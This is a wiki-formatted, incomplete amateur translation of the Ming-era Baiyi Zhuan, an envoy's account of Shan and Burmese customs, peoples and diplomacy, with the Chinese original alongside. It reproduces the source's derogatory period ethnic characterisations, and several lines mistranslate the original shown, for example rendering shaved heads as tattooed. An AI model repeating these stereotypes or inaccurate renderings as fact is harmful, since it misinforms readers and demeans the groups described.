|上下僭奢，雖微職亦繫鈒花金銀帶。貴賤皆戴筍籜帽，而飾金寶於頂，如浮圖狀，懸以金玉，插以珠翠花，被以毛纓，綴以毛羽。貴者衣綺麗。每出入，象馬僕從滿途。象以銀鏡數十聯綴於羈靮，緣以銀釘，鞍上有闌如交椅狀，藉以裀褥，上設錦障蓋，下懸銅響鈴，坐一奴鞍後，執長鉤驅止之。遇貴於己者，必讓途而往。凡相見必合掌而拜，習胡人之跪。長於己者必拜跪之，言則叩頭受之。叨孟以下見其主，則膝行以前，二步一拜，退亦如之。執事於貴人之側，雖跪終日無倦狀。貴人之前過，必磬折鞠躬。宴会則貴人上坐，其次列坐於下，以逮至賤。先以沽茶及蒌葉、檳榔啖之（沽茶者，山中茶葉，春夏間采煮之，實於竹筒内，封以竹箬，過一二歲取食之，味極佳，然不可用水煎飲）。次具飯，次進酒饌，俱用冷而無熱。每客必一仆持水瓶側跪，俟嗽口盥手而後食。食畢亦如之，而後起。客十則十人各行一客。酒或以杯，或用筒（筒以蕨楷，或用鵝翎管連贯，各長丈餘，漆之而飾以金，假若一酿酒，則漬以水一滿瓮，插筒手中，立標以驗其盏數，人各以次舉筒咂之。咂酒一盏，仍漬水一盏，傳之次客，味甚佳，至淡，水方止，俗呼为咂酒）。酒與食物必祭而後食，食不用筯。酒初行，一人大噪，眾皆合之，如此者三，乃舉樂。樂有三等：琵琶、胡琴、等笛、響盏之類，效中原音，大百夷樂也。笙阮、排簫、箜篌、琵琶之類，人各拍手歌舞，作緬國之曲，緬樂也。銅饒、銅鼓、響板、大小長皮鼓，以手拊之，與僧道樂頗等者，車里樂也。村甸間擊大鼓，吹芦笙，舞干为宴。長者授卑賤酒食，必叩頭受之，易以他器而食。食畢，仍叩頭而退。 |The people, both high and low [in status], were extravagantly overstepping [in their dress]. Even small duty officials fastened engraved, patterned belts of gold and silver. [Both] nobles and commoners wore bamboo-shoot-woven hats and decorated them with gold, like a crown resembling pagodas, hanging with jade and gold and inserted with pearls and colourful gems, covered with tassels and quilted feathers. The clothes of wealthy individuals are enchantingly beautiful. Whenever one goes out, elephants, horses, and servants fill the roads. The elephants have about ten or so silver mirrors attached to their reins and bridles, edged with silver nails. On the saddle, there is a railing resembling an old wooden-style armchair with cushion-like under padding, a mattress, and brocade above the top and copper ringing bells below [it]. A servant was seated behind the saddle, grasping a long hook to urge and stop [the elephant]. Upon encountering a wealthy person, they certainly yield the way to them. Commonly, when meeting one another, they certainly clasp hands and bow, adopting the kneeling [custom] of the Northwestern peoples [of China]. Elders to oneself are bowed to and kneelt before, and when speaking, they are subjected to kowtow to them. Those below '''Dāomèng''' ('''叨孟'''), seeing their masters, kneel before them, every two steps a bow, and repeat it during withdrawal. Attendants are at a wealthy person's side, despite kneeling all day, do not appear tired. When a wealthy person passes by, they bow deeply.<ref>The sentence is poetically describing the bow as "bending the body as to resemble 磬, a type of percussion instrument". </ref> In banquets, the wealthy are seated first, then next in line are the ones below them and so on, by means to the lowest [of status]. First, they are given tea, areca nuts and betel leaves (The given tea leaves are [harvested] in mountains and brewed in Spring and Summer, stuffed into bamboo tubes, sealed with bamboo leaves for one to two years, ready for consumption, tasting extremely fine, however, cannot be brewed by boiling in water for drinking. Next [to] be provided is rice, following that is wine and delicacies are are [consumed] cold and unheated. Every guest has a servant kneeling on the side holding a water bottle, waiting to cough and rinse the mouth and hands with water and then eat. [Upon] finishing eating this is repeated and then they rise. In the case of ten guests, ten people attend them, one per guest. Wine is either served in a cup or a tube (The tubes are made from Pistachio Bracken or goose plume linked together). Every length is one '''Zhàng''' ('''丈;''' approximately 3m) painted and decorated with gold. If brewing wine, one pot of water is added. Inserting the tube into the hand, it is used to check for the number of cups [it can hold]. Each person lifts the tube to sip from it. After sipping a cup, a cup of water is added, and it is passed to the next person; the taste is exceedingly fine. When the wine's taste dilutes, water is stopped, and this is called '''sipping wine'''.) Wine and good must be sacrificed, and then they eat. Chopsticks are not used to eat. At the begining of the wine [ceremony], one person loudly shouts and multiple people all join in. This is done three times, and then music is played. There are three such types of music: Chinese lute, Huqin (Chinese fiddle) and the flute with ringing cups and so on. It imitates the sounds of the central region<ref>The Yellow River Basin area of China. </ref> and the Great White barbarians, too. Bagpipe, lutes, panpipes, harp, pipa and so on. People each clap their hands and dance. It is performed in Burmese tunes and music. Copper gong, bronze drum, castanets, big, small and long leather drums struck with the hand. It is similar to Buddhist and Taoist music, as well as '''Chēlǐ''' ('''車里''') music. Villages and suburbs have space for striking bass drums, blowing reed pipes and dancing for the feast. Elders give food and drink to the lowly [people], who certainly must bear to kowtow them to exchange utensils and eat. [Upon] finishing eating, they still kowtow and then retreat. |- |凡貿易必用銀，雜以銅，鑄若半卵狀，流通商賈間。官無倉庾，民無税粮。每年秋季，其主遣亲信部屬往各甸，计房屋征金銀，谓之取差發（房屋一間，大者征銀一两、三两，小者一两而止）。無中國文字，小事刻竹木，大事作緬书，皆旁行为记。刑名無律，不知鞭挞，轻罪則罚，重罪則死。或殺，或用人扱殺。或用象打，或投於水，或以绳帛缢。男婦不敢为奸盗，犯則殺之。 |All commercial trade must use silver, mixed with copper, cast to appear like a half egg [shape] to circulate among merchants. The government has no granaries,<ref>There are two characters for granaries, the second is for small private ones, signifying that most did not have this system at all. </ref> the people [likewise] have no grain tax. Every autumn, the owners dispatch trusted aides and subordinates to go to each suburb to calculate and levy households' gold and silver. This is called to go collect money. (For each house: large ones are taxed one or three [taels] of silver, small ones are taxed one tael.) There is no Chinese script; small matters are carved into bamboo or wood, big matters are written into Burmese script, all written horizontally for recording. No laws govern punishment; they do not know whipping or corporal punishment. Petty crimes are penalised, and serious crimes lead to death. Some are killed [directly], while some have another person employed to kill them. Some use elephants to crush them, some throw them in water, while some are hanged with ropes. Men and women do not dare commit adultery or robbery, to violate so will kill them. |- |所居無城池濠隍，惟编木立寨，貴賤悉构以草楼，無窗壁门户，时以花布障围四壁，以蔽风雨而已。邮傅一里設一小楼，數人守之，公事雖千里遠，报在顷刻。無軍民之分，聚則为軍，散則为民。遇有战斗，每三人或五人出軍一名，择其壮者为正軍，呼为『锡剌』。锡剌持兵御敌，余人荷所供。故軍行五六萬，战者不滿二萬。兵行不整，先後不一。多以象为雄势，战則缚身象上。裹革兜，被銅铁甲，用長镖干弩，不習弓矢。征战及造作用事，遇日月食則罢之，毁之。 |The [ruler's] dwelling place has no walls, water moats, trenches or dry moats, only wooden stockades erected. Both nobles and commoners all constructed thatched houses with no windows, ramparts or doors, just printed cloth covering around all four walls, as to cover [from] wind and rain and nothing more. Every mile, there was a small post office, a few people guarded it, [thus] documents even as far as a thousand miles can be reported instantly. There is no distinction between military and civilian [people]. Once assembled, they became soldiers; once scattered, they became civilians. Upon encountering a war, every three or five people would produce one soldier; they would select the strongest to become the principal armed force, known as '''Xīlà''' ('''锡剌'''). The '''Xīlà''' ('''锡剌''') grasped weapons to defend against the enemy, while surplus people carried to supply [them]. Hence, an army of fifty or sixty thousand will have fighters not filling twenty thousand. The soldiers were not organised; their rank formations were not uniform. Many used elephants for their imposing power; fighters tied their bodies onto the elephants. They wrapped leather into helmets, and were covered with copper mail plating, using long spears and crossbows, and did not practice bow and arrow. Any war or manufacturing encountering an eclipse would cease or [either] be destroyed. |- |所用多陶器，惟宣慰用金銀玻璃，部酋間用金銀酒器。凡部酋出，其器用、仆妾、财寶之類皆随之，從者千余，昼夜随所适，必作宴笑樂。 |Most utensils [they use] were pottery. Only the '''Xuānwèi''' ('''宣慰''') use gold, silver and glass. Tribal chiefs among them used gold, silver and wine cups. Commonly [when] tribal chiefs go out, their utensils, servants, concubines, money, jewels and so on all subsequently all follow him. He is accompanied by over a thousand followers. Day and night, wherever he subsequently goes, there will be feasts, laughter and music. |- |男子衣服多效胡服，或衣宽袖長衫，不识裙袴。其首皆髡，胫皆黥。不髡者殺之，不黥者眾叱笑，比之婦人。婦人髻绾於後，不谙脂粉，衣窄袖衫，皂統裙，白裹頭，白行缠，跣足。其俗賤婦人，貴男子，耕织徭役担负之類，雖老婦亦不得少休。嫁娶不分宗话，不重处女。年未笄，听與男子私，從至其家，男母为之濯足，留五六昼，遣歸母家，方通媒妁，置财礼娶之。凡生子，貴者浴於家，賤者浴於河，數日，授子於夫，仍服劳無倦。酋長妻數十，婢百余，不分妻妾，亦無鮅忌。男女浴於河，雖翁婦叔嫂，相向無耻。子弟有職名，則受父兄跪拜。父母亡，用婦祝尸，亲邻咸馈酒肉，聚年少环尸歌舞宴樂，婦人擊碓杵，自旦達宵，數日而後葬。其棺若馬槽，無蓋，置尸於中，抬往葬所，一人執刀持前导。及瘗，其生平所用器物，坏之於側而去。 |Many men's clothes mainly imitate non-Han clothing, or they wear wide-sleeved long gowns, not knowing skirts or trousers. Their heads are all tattooed, their shins are all tattooed. Untattooed heads would be killed, and untattooed legs would be laughed at and compared to women. Women tied their hair into a topknot at the back; they are not versed in cosmetics, and their clothes are narrow-sleeved garments [jackets] and a soap-style skirt. [Her] head is wrapped in white, her body is wrapped in white, and they go barefoot. Their custom is women, commoners, noblemen, must all undertake compulsory labour service and so on. Even old women must not rest a little. Marriage does not distinguish clan or language or virginity [of women]. Before even fifteen years, they are allowed private liaisons with men. She follows him to his home, and the man's mother washes her feet. She remains there for five or six days, [she] is then sent back to her mother's house. Then they communicate with a matchmaker and buy betrothal gifts to take her as a wife [for him]. Ordinarily with the birth of a child, a nobleman bathes in the home, while commoners bathe in the river. For a few days, she gives the child to her husband and continues to dress, toil, and work without tiring. The wives of a tribal chief number ten, his slave girls can surpass one hundred, there is no distinction between wife and concubine, also there is no '''Bìjì''' ('''鮅忌''').<ref>Unsure as to what this means. The first character is a type of fish and an extremely obsolete character not used anymore. It is a compound to something about jealousy, however I do not know what this compounded term relating to jealousy might be. Preliminary thought would be, the wives do not compete, or do not dread their hierearchy? </ref> Men and women bathe in the river, even old men, women, uncles, sister-in-laws [bathing] face to face have no shame. If a child has an office title, then they will be accepted, and the father and brothers will kneel and kowtow to him. When parents die, they use women to pray for the corpse. Relatives and neighbours all make an offering of wine and meat. They assemble young people around the corpse, singing and dancing, making merry. Women strike the pestle from dawn to night, and only after a few days, they bury the dead. The coffin seems like a horse trough, with a lid; they cover the corpse in the middle. They lift and carry the coffin to the burial place; one person holds a knife and leads the way. When the burial takes place, the objects the deceased had used during their life are broken beside the burial, and then people depart. |- |} ===Ethnic Groups and customs=== {| class="wikitable" style="text-align:center; width:80%;" |+ A list of ethnic groups encountered and their traditions and general customs. |- ! scope="col" | Original ! scope="col" | Translation |- |其俗，不祀先，不奉佛，亦無僧道。小百夷居其境之東北邊，或学阿昌，或学蒲蠻，或仿大百夷，其習俗不一。 |Their customs do not offer sacrifices [to ancestors], do not revere the Buddha. There are no Buddhists and Daoists [among them]. The Lesser One Hundred Barbarians reside on the northeast border, following Āchāng ('''阿昌''') customs, following Pú ('''蒲''') customs and some imitate the Greater One Hundred Barbarians. Their customs are not the same (uniform). |- |車里，亦谓小百夷，其俗刺额、黑齒、剪發，狀如頭陀。 |[The people of] '''Chē lǐ''' ('''車里''')<ref>'''Chē lǐ''' ('''車里''') refers to the Cheli Military and Civilian Pacification Commissioners Office. It was a Tai State that located at Jinghong City in modern day Xishuangbanna in Yunnan.</ref>, are also called Lesser One Hundred Barbarians. Their customs are tattooing foreheads, blackening teeth and cutting hair. Appearing as if like ascetic monks. |- |哈刺，男女黑真黑。男子以花布为套衣，亦有效百夷制者；婦人髻在後，项系雜色珠，以娑罗布披身上为衣，横系於腰为裙（娑罗布即中國木棉布，坚厚，或织以青红纹）。仍环黑藤數百围於腰上，行缠用青花布，赤脚（蒲蠻、阿昌，事見《雲南志》）。 |'''Hā cì''' ('''哈刺'''), men and women are [both] black, truly black. Men use printed cloth<ref>g</ref> for covering themselves, also which the One Hundred bararians effectively manufacture; married women have top knots behind [their head]. It is tied at the back of their neck with various pearls and beads. '''Suō luó''' ('''娑罗''')<ref>'''Sarong''' today, however this appears to be a complex term with many copyediting issues historically, Brahmin drapes, Suoluolong, eventually describing a type of silk-cottob robe made from plant materials.</ref> are draped around their bodies as clothes, horizontally it connected at the waist and lower back as a skirt. ('''Suō luóbù pī''' ('''娑罗布披''') namely is the Chinese Cotton Tree (Bombax Ceiba) cloth, strong and thick, possibly weaved as blue, red patterns.) Yet it encircles black rattan several hundred times, wrapped at the waist and lower back, it wraps around [their leg] to be used as a blue printed cloth [as they're] barefoot. ([Used amongst the] Pú mán (蒲蠻), āchāng (阿昌), shì jiàn (事見); [according to the] The Yunnan Gazeteer<ref>Written by Fan Chuo of the 9th century, also known as 蛮书 (Barbarian Document)</ref>.) |- |古刺，男女色甚黑。男子衣服装飾類哈刺，或用白布为套衣。婦人如罗罗狀（罗罗見《雲南志》）。 |'''Gǔ cì''' ('''古刺''') [people] are coloured extremely black. The men's clothes, decorations and adornments closely resembled the '''Hā cì''' ('''哈刺'''), and they use white cloth as [outer] covering garments. Married women resemble the '''Luó luó''' ('''罗罗''') [people]. ([For the] '''Luó luó''' ('''罗罗''') see The Yunnan Gazeteer.) |- |漂人，男女衣服皆類百夷。婦人以白布缠頭，衣露腹，以红藤缠之，娑罗布为裙，两接，上短下長，男女同耕。 |Pyu people<ref>This is the last time a document mentions the existence of Pyu people, namely. The Burmese stopped mentioning them by the 12th century, as did the Persians in the 10th century. Their retention of it suggests that absorption was slower and that the Burmese and Pyu were still distinct, according to the envoys.</ref>, [the] men and women's clothes all resemble the One Hundred Barbarians. Married women wear white cloth wrapped around their head, their clothes expose their stomach/ naval. By means of red rattan winding around them, the '''Suō luó''' ('''娑罗''') [is worn] as a skirt. Two [cloths] connect, upper [cloth] is short, bottom [cloth] is long. Men and women [both] till [the fields]. |- |緬人，色黑類哈刺，男女頭上以白布缠高三四尺，衣大袖白布衫，腰以下一布通前後便缠之，貴者布長二丈余，賤者不一丈。甚善水，嗜酒。其地有树，狀若棕，树之杪有如筍者八九茎，人以刀去其尖，缚瓢於上，過一宵則有酒一瓢，香而且甘，飲之輙醉。其酒经宿必酸，炼为烧酒，能飲者可一盏。有为僧者，以黄布为袈裟，袒右手，戒行極精，午後不飲食。婦人貌陋甚淫，夫少不在，則與他人私，遂为夫婦。以白布裹頭而披花为衣。 |Burmese people, [their] colour is black like the '''Hā cì''' ('''哈刺'''). Men and women [both] on their heads have white cloth wrapping around it [aproximately] as long as three to four '''Chǐ''' ('''尺''';1.2 m-1.36 m). Their clothes are large-sleeved white cloth garments. Below the waist and lower back, one cloth goes all around to be wrapped around them. Expensive cloth is as long as two '''zhàng''' ('''丈'''; 6.2m-6.8m). Inexpensive [cloth] is not even one '''zhàng''' ('''丈'''; 3.1m-3.4m). They are extremely well-disposed to water and fond of wine. On their land, their trees appear as palm trees. They cultivate eight to nine stalks, with the tips of the leaves resembling bamboo shoots. The people take knives and cut off the tips. They bind a dried gourd ladle to it. After one night, it becomes a gourd of wine, fragrant and sweet to drink to intoxication. Their wine, undergoing [another] night, certainly becomes bitter; it gets refined into '''Shāojiǔ''' ('''烧酒''')<ref>A famous Tang Dynasty wine beverage.</ref>. [Heavy] drinkers can only drink one small cup. There are monks. Yellow cloth is used as Kasaya robes (Buddhist robes) with the right arm remaining bare. They strictly adhere to the utmost discipline. They do not eat or drink in the afternoon. Women's appearances are excessively plain, and they are promiscuous. If husbands are away briefly, they enter into relations with other men and succeed as a married couple. White cloth is wrapped around their head and draped on their shoulders in a printed way. |- |哈杜，巢居山林，無衣服，不识农业，惟食草木禽兽，善骑射。冷則抱巨石，山坡間往復奔走，以汗出为度。 |'''Hā dù''' ('''哈杜''') [people] reside in nests in mountain forests; they do not wear clothes. They have no knowledge of agriculture. Only eating vegetation and birds and creatures. They are adept at horses and archery. [When] cold, they grab a boulder and make running trips back and forth between mountainsides until they perspire out to the temperature. |- |弩人，目稍深，貌尤黑，额颅及口邊刺十字十余。 |'''Nǔ''' people ('''弩人'''; crossbowman people), [have] deep-set eyes, [their] appearance is outstandingly dark. Their forehead and mouth edges are tattooed with crosses more than ten times. |- |有结些者，從耳尖連颊皮破，以象牙为大圈，横贯之，以花布裹頭，而垂余布於後，衣半身衫，而袒其肩。婦人未详。其人居戛璃者多。 |[There] is some knotted "Zo" people<ref>This translation is messy. However, it is the first use of the Zhexie/Jiexie term, which was popularised during the Qing era. However, this early, 些 Xie was actually Suo, like the Mosuo people. Hence, the name appears to be a misrendering of Zo people from an intermediary translator, possibly.</ref>, from the tips of the ears to the cheeks, the skin is pierced. Using ivory as a large ring, they pass it horizontally through [the pierced skin]. Printed cloth is wrapped around the head and hangs down onto their back as a partially wrapped robe and bears their shoulders. Nothing is known/reported concerning the women.<ref>Likely possibly meaning that the women are indistinguishable from men. An observation echoed by the British of the Zo people during the colonial era.</ref>. Many of these people habitat at '''Kalay'''. |- |諸夷言语習俗雖异，然由大百夷为君長，故各或效其所为。夷人有名不讳，無姓。 |Although the various barbarian languages and customs are different, they follow the Greater One Hundred Barbarians as their central ruler. Therefore, possibly each group imitates that they do. The Yi people have names but observe no naming taboos; they have no surnames. |- |無医卜等书。不知时节，惟望月之盈亏为候。有事惟鸡卜是决。疾病不知服药，以姜汁注鼻中。病甚，命巫祭鬼路側，病疟者多愈，病熱者多死。地多平川沃土，民一甸率有數十千户，眾置貿易所，谓之街子。婦人用锄地，事稼穑，地利不能尽，然多产牛、羊、鱼、果。 |There are no books on medicine and divination. They are unaware of seasons. Only the moon in its waxing and waning is observed. For matters, a chicken is used for divination. For diseases they do not know how to take medicine. They pour ginger juice into their noses. For extreme sickness, the shaman offers spirit sacrifices next to the road. Those suffering from malaria are likely to recover. Those with a fever are more likely to die. The land is flat with plains and fertile, the people of a district can lead up to ten thousand households. They install commercial trade posts known as ''street markets'' ('''街子'''; Jiē zǐ). Women hoe and weed the soil and [attend] matters to do with sowing and reaping. The productivity of land cannot be exhausted, as there are many ox, sheep, fish and fruits. |- |其气候：春夏雨，秋冬晴，腊月亦如春，昼暄夜冷，晓多烟雾，無霜，春秋烟瘴甚盛。 |Their climate: In spring and summer, it rains. In autumn and winter, it is clear. In the 12th Lunar month ('''December-Feburary''') it feels like spring. The daytime is warm, and the nighttime is cold. At dawn, there is a lot of fog. They have no frost. Spring and Autumn miasma carries an excessive level of malaria. |- |其飲食之异者：鳅、鳝、蛇、鼠、晴蜓、虫负、蛟、蝉、蝗、蚁、蛙、土蜂之類以为食；鱼肉等汁暨米汤信宿而生蛆者以为飲。 |Their food and drink are unusual in the following ways. Loach, eels, snakes, dragonflies, insects, aquatic animals, cicadas, locusts, ants, frogs, and scoliod wasps are all types of food. They drink the juice of fish, meat, and rice gruel, which, over two nights, gain maggots, which are eaten. |- |其草木禽兽之异：草則秋間數十百株结为一聚，地产此草，烟瘴尤甚。树木多有三四株结为連理。有大如斗之柑，有鲇頭鲤身之鱼，水牛頭黄牛身之牛，绵羊頭山羊身之羊。雄鸡多伏卵，亦有生卵者。者闌有一池，沸如汤，人多投肉熟之。 |Their plants and animals are unusual: in autumn, their grass joins from hundreds of stalks to cluster. The land these grasses grow on has an excessively strong malarial miasma. Trees often produce multiple stumps in a fusion. There are large tangerines as large as dippers. There is [a] fish with a sheatfish head and carp bodies. There are oxen with water buffalo heads and yellow ox bodies. There are sheep with sheep heads and mountain goat bodies. Roosters brood over eggs, there are also [males] that lay eggs. At '''Zhě lán''' ('''者闌''')<ref>On the Shan Myanmar and China border near Muse.</ref>, [the size of] ponds for boiling soup. People often cast mature meat in it. |- |境内所产珍物：雅琥、琥珀、犀、象、鹦鹉、孔雀、鳞蛇、脑、麝、阿魏、金、銀、玻璃之類。 |Within its borders are the following precious items it produces: elegant amber, amber, rhinoceros, elephant, parrots, peacocks, snake scales, brains, musk deer, Resina Furelae, gold, silver, glass types of products. |- |其山水险隘。北有高良弓山，横亘二百余里，高五十余里，與怒江相倚。西有馬安山，山有一关，若一人守关，萬夫难入。東为麓川江，可通舟楫。南與金沙江合而入於西海。南下交趾界。金沙江之南，有東胡、得冷、緬人三國。緬之西即西天也。 |The mountains have narrow, dangerous river passes. North there is the Gaoligong Mountains, it horizontally extends two hundred '''Lǐ''' ('''里'''), and is tall as five hundred '''Lǐ''' ('''里''') right next to the '''Nùjiāng''' ('''怒江'''). West is the '''Mǎ'ān Mountain''' ('''馬安山'''). The mountain has one mountain pass. If one person guards the pass, then ten thousand will struggle to enter. East is the '''Lù chuān River''' ('''麓川江'''). You can pass it in an oarboat. South is the '''Jīnshā River''' ('''金沙江''') which enters at the western sea. South it borders '''Jiāozhǐ''' ('''交趾'''; Vietnam). Further south of the '''Jīnshā River''' ('''金沙江''') are the three polities, which has '''Dōnghú''' ('''東胡'''； Eastern Barbarians), '''Dé lěng''' ('''得冷'''; Derung people) and '''Miǎn people''' ('''緬人'''; Burmese people). West of Burma lies the Western Regions<ref> A term for India and Central Asia, which were Buddhist.</ref>. |- |緬國古舍利國，又名狮子國，多佛塔。緬國與夷連歲横兵。洪武之亥冬，緬人诉於朝。丙子春，皇帝遣臣古训及桂阳李思聪至两國，諭以睦邻之义。 |Burma, formerly the '''Shèlì country''' ('''舍利'''), also known as the Lion Country, is filled with pagodas. Burma and the Yi Barbarians were in continuous warfare for years. During the reign of the Hongwu Emperor in the winter of the year of the boar ('''1395 A.D.'''), Burma issued a royal complaint. In Spring of the Year of the Rat, ('''1396 A.D.'''), the Emperor dispatched official Guxun and Li Cong of Guiyang to the two countries to order them to get on well as neighbours with righteousness. |- |} ===Statements and Relations between the Kingdoms=== {| class="wikitable" style="text-align:center; width:80%;" |+ Outcome of the envoys mission and political relations between Shans and Burmese. |- ! scope="col" | Original ! scope="col" | Translation |- |其諭緬國王曰： |The above spoken by the King of Burma: |- |『里路险遠，山川阻修，风殊俗异，此乃天造地設也。尔能勤使者，涉险遠，越邻邦以至中夏，其使者之难，冲烟突雾，晨進昏止，饥餐渴飲，吞吐烟岚，异风霜而方至。其为使者，不亦难乎！古人有云：诚君子將有事於遠，友千里之外，神交而志通。今萬里之外，尔能勤使而至，遠修其好，美絕古而惟今。然排难解纷之事，朕之旨意，恨不一言而正，使彼此各罢兵守，樂黎民於市野，民居共处，砃相邻而同井飲，籍雖两國之民，居处难分，惟存关市有讥，是其和也。若尔緬不主衅，夷不强凌，如此，雖弱自保，以奉天道。其或不听朕命，忿争不已，天將昭鉴，福善祸淫，迟速可待。鯩至，朕不多诫。但诚可以交天人，尔其审之，母忘朕諭。』 | |- |諭思侖發曰： |Above '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) spoke: |- |『朕中國先古圣人，驭顽礼德，各有条章。是条章也，列圣相继，守而行之，上下相安，黔黎樂业。何也？諸侯敬畏，世禄子孙，國祚绵長，乃九伐之功驗也。列國敢有凭弱犯寡者，天子發兵以眚之；贼贤害民者，亦發兵以伐之；暴内凌外，則兴師以坛之；野荒民散，則用兵以削之；负固不服，則舉兵以侵之；贼殺其亲，則正其罪以殺之；放弑其君，則明其罪以诛之；犯令凌政，則杜而絕之；内外乱，鸟兽行，則殄灭之。九伐之征如是也。尔思侖發，以中國较之，合问凭弱犯寡之由。何以見？歲以兵寇車里，不时侵掠八百，恃强犯緬；戛璃國小民寡，而已平之，斯说也，不過告诫之词。中國周临四夷，與諸酋長地里相接，居民亦相密迩，如此者，耳闻之邦若干，目擊之邦若干，朕未嘗恃强凭凌，絕灭其嗣者。雲南之地，已为我有，似乎尚强以取之，非也！乃元世子孙梁王者，恃元之苗裔，匿我有罪，納我逋逃，诱我邊守，是乃不得已而發问罪之師，非無故而兴師。此乃元运天更，其苗裔不当安处。况生事於我邻邦，其理势使然，夷如反掌。尔麓川之蠢，初擅兴金齒之役，次谋景東而寇定邊，理当大發精兵而较胜负。朕释而不较，未嘗强尔为約束之邦，听尔自为声教，今又几年矣。近闻蚕食邻邦，意在扩土地而擅有其眾，又將为我西南之役。噫，未可！古中國圣人有云：‘山川地理人物之類，乃神器也，非人强有，必天授然後得之’。尔思侖發不修邻邦之好，三面發兵，蚕食諸國，其贪也如是，其谋也如是。彼麓川周临之國，始古至今，各有主者，未嘗吞并。朕雖不能止尔，听尔自为，果天道使然，尔以人事应之，或为而可。噫！以朕戒尔守全則可，不守全而以全动，設若全亏，是为全亡，莫如守全以圖绵長，不亦美乎？』 | |- |由是二國罢兵和好。 |because of the truth, the two countries ceased war and reconciled. |- |时古训等适遇百夷其部下酋長曰刀干孟者叛其國，余等以大义諭其部眾，而叛者闻之稍却。於是，思侖發欲留余等以为援，且進以金寶象馬等物，故余以书示之曰： | |- |『吾闻君上有怀遠之德，遠臣有敬上之心，始古迄今，莫违此义。夫君居九重之上，雖欲顷刻目尔遠臣，未可得也，臣处萬里之外，即欲朝暮身亲君上，亦未易得也。故朝廷有將命之官，使之宣德布威；而遠方有承命之宜，期其輸忠納款。今天子应天顺民，奉天为治，四维八極，尽为臣妾，無有专擅，不敢违逆。西南一区，夷酋亦眾，惟尔麓川，多蒙恩宠，既受以官，復加以服。况贤王亲临尔境，而德惠數及尔身。为尔计，則將度其心，量其才，何为而可以尽忠天子，何为而可以致敬贤王，又何为而可以安邊境而不干天怒，又何为而可以教百姓而不违法度？借曰邊境不安，必思曰，我事上未忠或未至，而眾不服我耶？百姓违法，必思曰，我守職已或有僭而民亦犯上耶？於是我則尽其忠，去其僭，如此，則邊境自安，人民從教矣。且吾以尔目擊效驗明之：往年思瓦發不服朝廷，轻犯金齒，天子雖未问罪，天則假手於達鲁方等，而思瓦發被戮。刀思朗不從尔命，窃寇定邊，尔雖未能息其兵，天則助威於我邊將，而刀思朗等即灭。惟尔知天命，達人理，故能享天禄，守人爵。迩来天子恐尔所为，或涉放肆，特敕諭以戒之；贤王恐尔無知，或生疑懼，特令旨以恤之。此恩此德，穷天極地。尔之披肝露胆，开心見诚，吾尽見矣；尔之尊重朝廷，敬奉殿下，告亦見矣。今尔固留吾辈，其意本美。近者尔甸寨少宁，刀干谋异，吾將回朝为尔明白其事，尔乃留我，使我不速還朝，假如刀干鸣尔留难天使之非於朝，則反误尔敬君之心矣。且尔赠以金、銀、裀褥、馬、象等物，吾固不受者，非見怪也，實相爱也。何則？朝廷恩尔，抚安尔邦，未嘗令使者取货於尔也。夫货财，饥不可以充口，疾不可以救死。况中國金玉成山，象馬若蚁，未以为寶也，惟所寶者，圣君、明王、忠臣、烈士、强兵、勇將、孝子、顺孙等事，其他财物，如粪土耳。姑以尔境内眾所闻者明之：昔隋史萬歲守邊，夷而贪财，以致殺身。梁毗一金不受，而大服夷眾。此事甚白。吾为圣朝天使，必不为财物所蛊，惟恐吾之使令往来小人，不体吾意，蛊惑尔心，特此叮咛。尔其备审此书，体吾真意，早送吾辈還朝，則尔敬君之心，不浅浅也。』 | |- |书至，思侖發悦服，遂邀至其家，設宴畢，與其眾送出境外。 |When the letter arrived, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) was pleased, and received it favourably. Thereupon invited him to his home. After the banquet, together with his retinue escorted them beyond the borders. |- |百夷，由金齒、蒲漂過怒江即其境。沿江東數十里，上有高良弓頗险。其岭有一寨。過一寨下四十里，地名养列，自此抵麓川無险隘之虞。由麓川经蠻牛、莽港等路，渡谨卯，從蒙戛等甸至麻林界，登金沙江之舟，下流二十日至緬國。國王眾呼为卜剌浪，王之妻呼为米泼剌。 | |- |} ==References== {{reflist}} [[Category:Chinese literature]] [[Category:Non-fiction books]] [[Category:Medieval historical works]] [[Category:Works originally in Chinese]] [[Category:Pages with foreign language text]] [[Category:Indigenous peoples]] [[Category:Guidebooks]] [[Category:History of China]] [[Category:Wars]] [[Category:Diplomacy of China]] [[Category:Subject:Military history]] [[zh:蛮书]] la1rbxe5s7ozpq354heurgejp11843p 4670842 4670812 2026-09-18T02:24:28Z Taitesena 3485636 4670842 wikitext text/x-wiki __NOTOC__ {{incomplete translation}} {{Translation header | title = Baiyi Zhuan (百夷傳) | author = Qian Guxun (錢古訓) | override_editor = | translator = 'Taitesena' | section = | previous = | next = | shortcut = | year = | language = zh | original = | notes = The Baiyizhuan, or, '''Biography of 100 Barbarians''', was compiled by Qian Guxun (錢古訓) with Li Sicong (李思聪) and sent to the Ming Dynasty but never formally published yet stored away. Copies emerged under both names however, most agree that both envoys wrote their own accounts of Myanmar to control the issue of Shan Kings on the borders. This version is attributed to Qian Guxun and sourced from Wikisource. }} == Front Matter == # [[Baiyi Zhuan/Translator's Note|Translator's Note]] # [[Baiyi Zhuan/Influences|Historical Context]] ==Translation== ===Introduction=== {| class="wikitable" style="text-align:center; width:80%;" |+ Premable to the purpose and context of the document and political situation. |- ! scope="col" | Original ! scope="col" | Translation |- |百夷，在雲南西南數千里，其地方萬里。景東在其東，西天古刺在其西，八百媳婦在其南，吐番在其北；東南則車里，西南則緬國，東北則哀牢〈（今之金齒衛也）〉，西北則西番、回紇。 |[The] One Hundred Barbarians are a few thosand '''Lǐ''' ('''里''') southwest of Yunnan. There region is very far away. '''Jǐngdōng''' ('''景東''') is east of them. The western regions Gǔ cì (古刺) [people] are west of them. South of them are the '''Eight Hundred Xífù''' ('''八百媳婦'''; Laos). North of them is Tibet. Southeast of them is Chē lǐ (車里), southwest is Burma, Northeast is '''Āiláo''' ('''哀牢''')<ref>The ancient tribal confederation of the Yongchang-Gaoligong area.</ref> Today, these are the gold tooth people. Northwest of them is Western Barbarians and '''Huíhé''' ('''回紇'''; Uyghur people). |- |俗有大百夷、小百夷、漂人、古剌、哈剌、緬人、结些、吟杜、弩人、蒲蠻、阿昌等名，故曰百夷。 |The customs of Greater One Hundred Barbarians, the Lesser One Hundred Barbarians, Pyu people, Gǔ cì (古刺) [people], Hā cì (哈刺) [people], Burmese people, '''jiēsuò''' （'''结些''')<ref>There is reason to believe that these may be the Zo people. The Jie however is difficult to understand, likely a terminology transfer issue from intermediaries. Like the 